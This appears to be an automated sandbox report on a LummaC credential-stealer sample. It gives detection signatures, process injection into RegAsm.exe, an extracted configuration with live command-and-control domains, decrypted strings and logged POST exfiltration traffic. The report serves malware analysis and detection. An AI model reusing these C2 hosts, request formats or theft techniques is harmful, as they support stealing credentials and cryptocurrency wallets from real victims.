Edit tour

Windows Analysis Report
hcjt7Ajt5t.exe

Overview

General Information

Sample name:	hcjt7Ajt5t.exe renamed because original name is a hash value
Original sample name:	d05ddc72d9c4fae1ee83e9ac16275afc.exe
Analysis ID:	1427170
MD5:	d05ddc72d9c4fae1ee83e9ac16275afc
SHA1:	852e1078974794aeaa40a74201efce257987be2c
SHA256:	7d233935547785aa757807b0a483b8ac5fe9195297f0fc0f53d29931b9dbbfda
Tags:	32exetrojan
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Found malware configuration

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic

Yara detected LummaC Stealer

.NET source code contains very large array initializations

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Contains functionality to inject code into remote processes

Found many strings related to Crypto-Wallets (likely being stolen)

Injects a PE file into a foreign processes

LummaC encrypted strings found

Machine Learning detection for sample

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Crypto Currency Wallets

Writes to foreign memory regions

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to read the clipboard data

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Searches for user specific document files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

hcjt7Ajt5t.exe (PID: 5016 cmdline: "C:\Users\user\Desktop\hcjt7Ajt5t.exe" MD5: D05DDC72D9C4FAE1EE83E9AC16275AFC)

RegAsm.exe (PID: 2724 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://darktrace.com/blog/the-rise-of-the-lumma-info-stealer https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-lummac2-94111d4b1e11	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["wifeplasterbakewis.shop", "mealplayerpreceodsju.shop", "bordersoarmanusjuw.shop", "suitcaseacanehalk.shop", "absentconvicsjawun.shop", "pushjellysingeywus.shop", "economicscreateojsu.shop", "entitlementappwo.shop", "pushjellysingeywus.shop"], "Build id": "pGlMMn--rocketprosupport1"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: RegAsm.exe PID: 2724	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Snort Signatures

ET TROJAN Observed Lumma Stealer Related Domain (pushjellysingeywus .shop in TLS SNI) - Source IP: 192.168.2.6 - Destination IP: 172.67.217.241

Timestamp:	04/17/24-07:14:54.859340
SID:	2052041
Source Port:	49701
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Lumma Stealer Related CnC Domain in DNS Lookup (pushjellysingeywus .shop) - Source IP: 192.168.2.6 - Destination IP: 1.1.1.1

Timestamp:	04/17/24-07:14:53.180062
SID:	2052032
Source Port:	60237
Destination Port:	53
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (pushjellysingeywus .shop in TLS SNI) - Source IP: 192.168.2.6 - Destination IP: 172.67.217.241

Timestamp:	04/17/24-07:14:57.875755
SID:	2052041
Source Port:	49705
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (pushjellysingeywus .shop in TLS SNI) - Source IP: 192.168.2.6 - Destination IP: 172.67.217.241

Timestamp:	04/17/24-07:14:55.621372
SID:	2052041
Source Port:	49702
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (pushjellysingeywus .shop in TLS SNI) - Source IP: 192.168.2.6 - Destination IP: 172.67.217.241

Timestamp:	04/17/24-07:14:56.277994
SID:	2052041
Source Port:	49703
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (pushjellysingeywus .shop in TLS SNI) - Source IP: 192.168.2.6 - Destination IP: 172.67.217.241

Timestamp:	04/17/24-07:14:57.120361
SID:	2052041
Source Port:	49704
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (pushjellysingeywus .shop in TLS SNI) - Source IP: 192.168.2.6 - Destination IP: 172.67.217.241

Timestamp:	04/17/24-07:14:54.071042
SID:	2052041
Source Port:	49700
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (pushjellysingeywus .shop in TLS SNI) - Source IP: 192.168.2.6 - Destination IP: 172.67.217.241

Timestamp:	04/17/24-07:14:53.328511
SID:	2052041
Source Port:	49699
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (pushjellysingeywus .shop in TLS SNI) - Source IP: 192.168.2.6 - Destination IP: 172.67.217.241

Timestamp:	04/17/24-07:14:59.072182
SID:	2052041
Source Port:	49706
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: hcjt7Ajt5t.exe

Avira: detected

Found malware configuration

Source: 2.2.RegAsm.exe.400000.0.unpack

Malware Configuration Extractor: LummaC {"C2 url": ["wifeplasterbakewis.shop", "mealplayerpreceodsju.shop", "bordersoarmanusjuw.shop", "suitcaseacanehalk.shop", "absentconvicsjawun.shop", "pushjellysingeywus.shop", "economicscreateojsu.shop", "entitlementappwo.shop", "pushjellysingeywus.shop"], "Build id": "pGlMMn--rocketprosupport1"}

Multi AV Scanner detection for domain / URL

Source: entitlementappwo.shop	Virustotal: Detection: 17%	Perma Link
Source: https://pushjellysingeywus.shop/api	Virustotal: Detection: 16%	Perma Link
Source: mealplayerpreceodsju.shop	Virustotal: Detection: 18%	Perma Link
Source: economicscreateojsu.shop	Virustotal: Detection: 13%	Perma Link
Source: https://pushjellysingeywus.shop/apip	Virustotal: Detection: 9%	Perma Link

Multi AV Scanner detection for submitted file

Source: hcjt7Ajt5t.exe	ReversingLabs: Detection: 55%
Source: hcjt7Ajt5t.exe	Virustotal: Detection: 67%			Perma Link

Machine Learning detection for sample

Source: hcjt7Ajt5t.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000000.00000002.2039390867.0000000003815000.00000004.00000800.00020000.00000000.sdmp	String decryptor: wifeplasterbakewis.shop
Source: 00000000.00000002.2039390867.0000000003815000.00000004.00000800.00020000.00000000.sdmp	String decryptor: mealplayerpreceodsju.shop
Source: 00000000.00000002.2039390867.0000000003815000.00000004.00000800.00020000.00000000.sdmp	String decryptor: bordersoarmanusjuw.shop
Source: 00000000.00000002.2039390867.0000000003815000.00000004.00000800.00020000.00000000.sdmp	String decryptor: suitcaseacanehalk.shop
Source: 00000000.00000002.2039390867.0000000003815000.00000004.00000800.00020000.00000000.sdmp	String decryptor: absentconvicsjawun.shop
Source: 00000000.00000002.2039390867.0000000003815000.00000004.00000800.00020000.00000000.sdmp	String decryptor: pushjellysingeywus.shop
Source: 00000000.00000002.2039390867.0000000003815000.00000004.00000800.00020000.00000000.sdmp	String decryptor: economicscreateojsu.shop
Source: 00000000.00000002.2039390867.0000000003815000.00000004.00000800.00020000.00000000.sdmp	String decryptor: entitlementappwo.shop
Source: 00000000.00000002.2039390867.0000000003815000.00000004.00000800.00020000.00000000.sdmp	String decryptor: pushjellysingeywus.shop
Source: 00000000.00000002.2039390867.0000000003815000.00000004.00000800.00020000.00000000.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000000.00000002.2039390867.0000000003815000.00000004.00000800.00020000.00000000.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000000.00000002.2039390867.0000000003815000.00000004.00000800.00020000.00000000.sdmp	String decryptor: - Screen Resoluton:
Source: 00000000.00000002.2039390867.0000000003815000.00000004.00000800.00020000.00000000.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000000.00000002.2039390867.0000000003815000.00000004.00000800.00020000.00000000.sdmp	String decryptor: Workgroup: -
Source: 00000000.00000002.2039390867.0000000003815000.00000004.00000800.00020000.00000000.sdmp	String decryptor: pGlMMn--rocketprosupport1

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_00415B57 CryptUnprotectData,

2_2_00415B57

Source: unknown	HTTPS traffic detected: 172.67.217.241:443 -> 192.168.2.6:49699 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.217.241:443 -> 192.168.2.6:49700 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.217.241:443 -> 192.168.2.6:49701 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.217.241:443 -> 192.168.2.6:49702 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.217.241:443 -> 192.168.2.6:49703 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.217.241:443 -> 192.168.2.6:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.217.241:443 -> 192.168.2.6:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.217.241:443 -> 192.168.2.6:49706 version: TLS 1.2

Source: hcjt7Ajt5t.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: C:\aq9gipvmwuxzm4\obj\Release\Current.pdb source: hcjt7Ajt5t.exe
Source:	Binary string: C:\aq9gipvmwuxzm4\obj\Release\Current.pdb:2T2 F2_CorExeMainmscoree.dll source: hcjt7Ajt5t.exe

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ecx, dword ptr [esi+70h]	2_2_00417239
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov edx, dword ptr [esp+00000080h]	2_2_004212B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ecx, dword ptr [esi]	2_2_00415390
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then inc ebx	2_2_00421670
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ecx, dword ptr [esp+08h]	2_2_0043B800
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ecx, dword ptr [esp+0Ch]	2_2_00435ACB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp+10h]	2_2_00409D20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov edx, dword ptr [esp+0Ch]	2_2_0043AE30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 18DC7455h	2_2_00421F80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp ecx	2_2_0041403B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then test edi, edi	2_2_0043A0D9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	2_2_00432140
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ecx, dword ptr [esp+18h]	2_2_0041D128
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov edx, dword ptr [esi+000001C0h]	2_2_00424240
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov word ptr [eax], dx	2_2_00415216
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov edx, dword ptr [esp+04h]	2_2_0043822F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movsx ecx, byte ptr [esi+eax]	2_2_0040D2C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov word ptr [eax], dx	2_2_0041B2A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then xor eax, eax	2_2_00439461
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov edx, dword ptr [esp+0Ch]	2_2_0043B470
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ecx, dword ptr [esi+000000F0h]	2_2_0041347E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ecx, dword ptr [esp+04h]	2_2_004384D6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movzx edx, byte ptr [esi+edi]	2_2_004025E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp ecx	2_2_00416582
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then inc ebx	2_2_004216CE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then not ecx	2_2_004176E1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp dword ptr [ebx+edi*8], 0AB35B01h	2_2_00413722
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ecx, dword ptr [esi+00000180h]	2_2_00411739
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ecx, dword ptr [esp+10h]	2_2_0040F7CD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp word ptr [esi+edi+02h], 0000h	2_2_0041B930
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov word ptr [eax], cx	2_2_0043799B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ecx, dword ptr [esp+10h]	2_2_00416A62
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ecx, dword ptr [esi+70h]	2_2_00417A78
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov byte ptr [edx], al	2_2_00422B54
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov byte ptr [edx], al	2_2_00422B70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov word ptr [eax], cx	2_2_00417BF5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ecx, dword ptr [esi+000008A0h]	2_2_0041FBB5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov dword ptr [esi+00000600h], 00000000h	2_2_00410C5B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov byte ptr [ecx], al	2_2_00416E69
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then push edi	2_2_0040FED9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov dword ptr [esi+00000600h], 00000000h	2_2_00410F4D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then inc ebx	2_2_00414F10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ecx, dword ptr [esi+000008A0h]	2_2_0041EF19

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2052032 ET TROJAN Lumma Stealer Related CnC Domain in DNS Lookup (pushjellysingeywus .shop) 192.168.2.6:60237 -> 1.1.1.1:53
Source: Traffic	Snort IDS: 2052041 ET TROJAN Observed Lumma Stealer Related Domain (pushjellysingeywus .shop in TLS SNI) 192.168.2.6:49699 -> 172.67.217.241:443
Source: Traffic	Snort IDS: 2052041 ET TROJAN Observed Lumma Stealer Related Domain (pushjellysingeywus .shop in TLS SNI) 192.168.2.6:49700 -> 172.67.217.241:443
Source: Traffic	Snort IDS: 2052041 ET TROJAN Observed Lumma Stealer Related Domain (pushjellysingeywus .shop in TLS SNI) 192.168.2.6:49701 -> 172.67.217.241:443
Source: Traffic	Snort IDS: 2052041 ET TROJAN Observed Lumma Stealer Related Domain (pushjellysingeywus .shop in TLS SNI) 192.168.2.6:49702 -> 172.67.217.241:443
Source: Traffic	Snort IDS: 2052041 ET TROJAN Observed Lumma Stealer Related Domain (pushjellysingeywus .shop in TLS SNI) 192.168.2.6:49703 -> 172.67.217.241:443
Source: Traffic	Snort IDS: 2052041 ET TROJAN Observed Lumma Stealer Related Domain (pushjellysingeywus .shop in TLS SNI) 192.168.2.6:49704 -> 172.67.217.241:443
Source: Traffic	Snort IDS: 2052041 ET TROJAN Observed Lumma Stealer Related Domain (pushjellysingeywus .shop in TLS SNI) 192.168.2.6:49705 -> 172.67.217.241:443
Source: Traffic	Snort IDS: 2052041 ET TROJAN Observed Lumma Stealer Related Domain (pushjellysingeywus .shop in TLS SNI) 192.168.2.6:49706 -> 172.67.217.241:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: wifeplasterbakewis.shop
Source: Malware configuration extractor	URLs: mealplayerpreceodsju.shop
Source: Malware configuration extractor	URLs: bordersoarmanusjuw.shop
Source: Malware configuration extractor	URLs: suitcaseacanehalk.shop
Source: Malware configuration extractor	URLs: absentconvicsjawun.shop
Source: Malware configuration extractor	URLs: pushjellysingeywus.shop
Source: Malware configuration extractor	URLs: economicscreateojsu.shop
Source: Malware configuration extractor	URLs: entitlementappwo.shop
Source: Malware configuration extractor	URLs: pushjellysingeywus.shop

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: pushjellysingeywus.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 66Host: pushjellysingeywus.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 12871Host: pushjellysingeywus.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15117Host: pushjellysingeywus.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 19975Host: pushjellysingeywus.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 5454Host: pushjellysingeywus.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1367Host: pushjellysingeywus.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 571094Host: pushjellysingeywus.shop

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: unknown

DNS traffic detected: queries for: pushjellysingeywus.shop

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: pushjellysingeywus.shop

Source: RegAsm.exe, 00000002.00000002.2116400194.00000000032EE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://pushjellysingeywus.shop/Oi
Source: RegAsm.exe, 00000002.00000002.2116014164.0000000000FCB000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2116400194.00000000032EE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://pushjellysingeywus.shop/api
Source: RegAsm.exe, 00000002.00000002.2116400194.00000000032EE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://pushjellysingeywus.shop/apip
Source: RegAsm.exe, 00000002.00000002.2116014164.0000000000FCB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pushjellysingeywus.shop/l

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49700
Source: unknown	Network traffic detected: HTTP traffic on port 49699 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49699
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49702
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49701

Source: unknown	HTTPS traffic detected: 172.67.217.241:443 -> 192.168.2.6:49699 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.217.241:443 -> 192.168.2.6:49700 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.217.241:443 -> 192.168.2.6:49701 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.217.241:443 -> 192.168.2.6:49702 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.217.241:443 -> 192.168.2.6:49703 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.217.241:443 -> 192.168.2.6:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.217.241:443 -> 192.168.2.6:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.217.241:443 -> 192.168.2.6:49706 version: TLS 1.2

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_0042DDE0 GetWindowInfo,OpenClipboard,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

2_2_0042DDE0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_0042DDE0 GetWindowInfo,OpenClipboard,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

2_2_0042DDE0

System Summary

.NET source code contains very large array initializations

Source: hcjt7Ajt5t.exe, RemoteObjects.cs

Large array initialization: RemoteObjects: array initializer size 307200

Source: C:\Users\user\Desktop\hcjt7Ajt5t.exe	Code function: 0_2_00E70A2F	0_2_00E70A2F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00425183	2_2_00425183
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00421670	2_2_00421670
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00415B57	2_2_00415B57
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00404C40	2_2_00404C40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00421F80	2_2_00421F80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00410060	2_2_00410060
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00401000	2_2_00401000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0041D128	2_2_0041D128
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0043B130	2_2_0043B130
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00408250	2_2_00408250
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00404260	2_2_00404260
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00403370	2_2_00403370
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0043B470	2_2_0043B470
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00436480	2_2_00436480
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00406610	2_2_00406610
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004216CE	2_2_004216CE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00401740	2_2_00401740
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00403770	2_2_00403770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00405890	2_2_00405890
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00406C20	2_2_00406C20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0041DD72	2_2_0041DD72
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00426E67	2_2_00426E67
